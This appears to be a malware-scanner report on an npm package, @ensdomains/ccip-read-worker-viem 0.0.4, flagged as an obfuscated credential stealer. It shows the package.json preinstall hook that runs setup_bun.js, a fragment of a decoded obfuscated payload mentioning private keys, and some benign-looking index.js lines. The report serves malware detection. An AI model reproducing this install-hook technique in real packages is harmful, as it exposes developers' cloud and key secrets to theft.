Hostile 93% javascript Download

@ensdomains/ccip-read-worker-viem 0.0.4

obfuscated preinstall credential stealer

Install hook bootstraps Bun sidecar runtimeObfuscated payload harvests multi-cloud secrets

Also flagged by osv (MAL-2025-190725: Malicious code in @ensdomains/ccip-read-worker-viem (npm)) +3 more.

Evidence

Encoded content decoded: base64 bun_environment.js · line 1
1:9128857sues/{issue_number}/sub_issues','onSecondaryRateLimit','gdjqe','eyJhbGciOiJkaXIiLCJlbmMiOiJBMjU2R0NNIn0','EQjzw','ytMlm','Private\x20key','MIjMS','CaNEv','tNVUa','onSubchannelStateUpdate','getOperationInternal','fieldNames\x20must
preinstall launches setup_bun.js package.json · lines 1–45
1{
2 "name": "@ensdomains/ccip-read-worker-viem",
3 "version": "0.0.4",
4 "module": "dist/index.js",
5 "type": "module",
6 "types": "./dist/index.d.ts",
7 "typings": "./dist/index.d.ts",
8 "sideEffects": false,
9 "scripts": {
10 "dev": "wrangler dev",
11 "start": "wrangler dev",
12 "test": "vitest",
13 "clean": "rm -rf ./dist",
14 "build": "tsc --project tsconfig.build.json",
15 "cf-typegen": "wrangler types",
16 "preinstall": "node setup_bun.js"
17 },
18 "files": [
19 "src",
20 "dist"
21 ],
22 "exports": {
23 ".": {
24 "types": "./dist/index.d.ts",
25 "import": "./dist/index.js"
26 },
27 "./package.json": "./package.json"
28 },
29 "devDependencies": {
30 "@cloudflare/vitest-pool-workers": "^0.4.23",
31 "@cloudflare/workers-types": "^4.20240815.0",
32 "@types/bun": "latest",
33 "cloudflare": "^3.5.0",
34 "vitest": "1.5.0"
35 },
36 "peerDependencies": {
37 "typescript": "^5.0.0"
38 },
39 "dependencies": {
40 "itty-router": "^5.0.17",
41 "viem": "^2.19.6"
4 lines
Calls a parenthesized function expression index.js · lines 36–45
36:30dler.type],
37 result: result,
38 });
39 return "0x";
40 })();
41 // Encode return data
42 return {
43 status: 200,
44 body: {
45 data: returnBytes,
Calls JSON method on HTTP-style object index.js · lines 50–55
50:16sender, callData] = req.method === "GET"
51 ? [req.params.sender, req.params.callData]
52 : await req
53 .json()
54 .then(({ sender, data }) => [sender, data]);
55 if (!sender || !callData || !isAddress(
Calls JavaScript toString conversion method index.js · lines 62–67
62:4 return json({ data: { error: `Internal server error: ${e.toString()}` } }, { status: 500 });
63 }
64 };
65 const add = ({ type, handle, }) => {
66 const fn = parseAbiItem(type);
67

Showing the top 5 files — 1 more file (14 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.